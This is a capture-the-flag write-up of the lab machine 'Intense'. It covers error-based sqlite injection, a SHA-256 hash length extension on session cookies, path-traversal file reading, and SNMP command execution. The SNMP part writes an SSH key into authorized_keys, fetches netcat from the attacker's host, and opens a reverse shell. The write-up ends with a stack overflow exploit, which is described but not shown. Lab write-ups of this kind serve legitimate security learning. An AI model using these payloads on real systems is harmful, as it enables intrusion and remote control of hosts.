Intense was a hard box involving some web exploitation techniques such as sqlite injection and hash extension attack, snmp exploitation, as well as an easy pwnable for root. Overall, I thought sokafr did a great job with this box.
To begin, our initial port scan revealed the following ports from masscan:
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
161/tcp closed snmp reset ttl 63
Opening up port 80, we see the following:
It provides us with guest:guest as credentials, as well as a link to the zipped source code, which we can download. Inside, you can find some templates and other misc. info, but the most important files are the 4 python files of this flask app (which uses a sqlite database): utils.py, lwt.py, app.py, and admin.py.
Some important takeaways from this include the following observations:
The user information from here is stored in the sqlite database, based on the data for username and secret (which is the sha256 hash of your input for password). The usage of query_db() and its behavior makes it safe from sqli at this login point.
The session is built and checked in the following manner at some of the following functions:
To summarize, the cookie is composed of an “auth” cookie, which is composed of 2 base64 portions separated by a period. The first portion is based on the return value of try_login(), which is a dictionary of username and secret. Using this dictionary, it formats the session as username=username;secret=hash;. Afterwards, the cookie gets a signature from the previous data by taking the digest of sha256(SECRET + data) where SECRET is a random bytestring of random length between 8 and 15; this is the second portion of the cookie. Then both the data and this signature are encoded and returned for the cookie value of “auth.” In many subsequent operations, get_session() is called, which calls parse_session(), which first verifies the contents of the data with the signature. Interestingly enough, if you find a way to bypass this verification, the way parse_session() behaves would allow you to append data to replace keys that get already set in the loop beforehand.
Becoming admin lets you interact with some interesting functionality:
There's a ridiculously obvious lfi here. Now, would there be any endpoints that would allow us to extract data to become admin?
Let's take a look at a feature the guest user has access to, the submitmessage() function:
You're restricted to a 140 byte message, and there are some blacklisted words. However, now query_db isn't even really used “correctly," as the application is just directly formatting your input in, leading to an obvious sqlite injection. One thing to note is that it doesn't really show you the result besides success or failure, so this is a clear case of a error based injection. I just used load_extension when the comparison in my error brute force is false; this would return an authorization error (plus the extension won't even exist). My teammate Bianca had another interesting way to error brute this, relying on passing bad inputs to json_extract when the comparison fails to trigger an error.
Messing around briefly in db-fiddle, I will be basing my script off the following sqli template:
injection: ' or (select case when (select substr(username,1,1) from users limit 1 offset 0) = 'a' then 'W' else load_extension('L', 0x1) end));--
query: insert into messages values ('' or (select case when (select substr(username,1,1) from users limit 1 offset 0) = 'a' then 'W' else load_extension('L', 0x1) end));--')
I wrote the following script to retrieve the admin username and hash with a simple linear brute, as the username probably will just be admin, and the hex charset is small enough:
I ended up recieving the following hash: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105
But it's not crackable with any wordlist or rule combination I have... this is where the way the application signs sessions and checks them comes in. Remember how it signed it with the secret in front before hashing? Under these conditions, sha256 is vulnerable to the hash extension attack. This post explains this attack much better, as I just ended up relying on the hash_extender tool. In our case, we know the hash function, the data, as well as the original signature, so we have all the conditions ready for this attack, in which we append data to it to generate a valid signature without knowing the secret (and appending the data can make us admin since the session parser doesn't check for duplicates). As for the attack, the general gist is that if you know the state of a hash, you can create a valid hash with appended data to the input to the function by setting the hashing algorithm state back to the signature's value, so the algorithm continues to hash from there (and this will produce a valid result!).
Since the secret is a variable length, I wrote the following script to bruteforce a valid session:
Now, with a valid session, we can go to the admin functions and perform lfi.
With some requests, I also noticed the user flag (and the source code for the pwnable) in the user directory with payload ../../../../../../../../../home/user.
Recalling our earlier enumeration, I remember the snmp port. Pulling out /etc/snmp/snmpd.conf, I see the following:
Seeing the rw communitstring made me immediately think of rce over snmp, which is very well documented here. To quote the article:
The SNMP community string is essentially a plaintext password that allows access to a device’s statistics and configuration.
Since there is a length limit to the payloads (255 chars for command) with nsExtend related operations, I ended up generating a shorter ssh key to give myself ssh access as the Debian-snmp user with the following commands:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /bin/sh 'nsExtendArgs."command"' = '-c "echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC1VxdqPOpZvaJtuvtTMZJlchmQCLw8cC0tvD79eSlaL0hsS0XRFRaAKFf55UP1SarbED+teHFQUPbLa6uJlBxJQrPLQfujmo6su7P2jGPDZrwxIgKA7Om8cUvLXuNdHrTVwze68z7QBCIi6m1ofHBvZJOdWMt6O0idpybWefz7Cw== root@kaliVM > /dev/shm/w"'
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /bin/sh 'nsExtendArgs."command"' = '-c "cat /dev/shm/w > /var/lib/snmp/.ssh/authorized_keys"'
Remember to trigger it each time with: snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 nsExtendObjects
When you lfi the source code of the pwnable (note_server.c) earlier on, you can see that it opened its port on 5001, so we can port forward it out:
ssh -N -L 5001:127.0.0.1:5001 Debian-snmp@intense.htb -i key
However, we still need libc and the binary, and from the lfi on passwd, we know Debian-snmp shell is /bin/false. So I ended up popping a shell with the following commands so I can transfer files out (we had to use nohup to prevent snmp from hanging and then crashing, and some fiddling was required for the commands to work):
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /usr/bin/nohup 'nsExtendArgs."command"' = 'wget http://10.10.14.9/nc -q -O /dev/shm/nc'
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /usr/bin/nohup 'nsExtendArgs."command"' = 'chmod +x /dev/shm/nc'
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /usr/bin/nohup 'nsExtendArgs."command"' = '/dev/shm/nc 10.10.14.9 1337 -e /bin/sh'
The following was the source:
This is just a variation of the previous forking stack overflow server pwns I've written extensively about in both my Rope and Patents writeup, so I'll skim through this pwn. It's another forking note app, with PIE, FULL RELRO, and canary (which is trivial to beat once you leak since it is forking).
Your options are ‘\x01’ for write, ‘\x02’ for copy, and ‘\x03’ for show. When you write data, you tell it the length, and it adds the length to an index to check if their sum is over the buffer size. If it's not, you can send in data with specified length size to the note char array starting at the current index, and it increments your index by the buffer size you requested. Do note that you can only send in a byte for the requested size.
For copy, you get 2 bytes to specify an offset, and the offset is checked to remain in the range of 0 and the current index. However, the size to be copied isn't checked, so there is a potential overflow once it copies from the note buffer at the specified offset to the note buffer at the current index. It also increases the index by the specified copy amount, so we can read out of bounds with this as well (as show doesn't check).
For show, there isn't nothing much to know except that it writes out data and returns, so the fork ends.
In my exploit, I basically first increased the index to 1024 and abused copy's lack of checks to extend the index so that the buffer printed with option 3 will leak canary, stack addresses, and pie base. Then I wrote a rop chain with proper padding and canary in front to leak libc addresses in the front of the buffer (and adjusted it to increase the index to 1024), then had it copy the length of the rop itself from offset 0 to the current index (1024), allowing for an overflow to leak libc once we trigger a return with show. Then apply the same principle to dup2 the file descriptors and pop open a shell. Here is my final script:
And that should get us root shell! Thanks once again to sokafr for the fun box, and pottm and bjornmorten for giving my writeup a read through before publishing.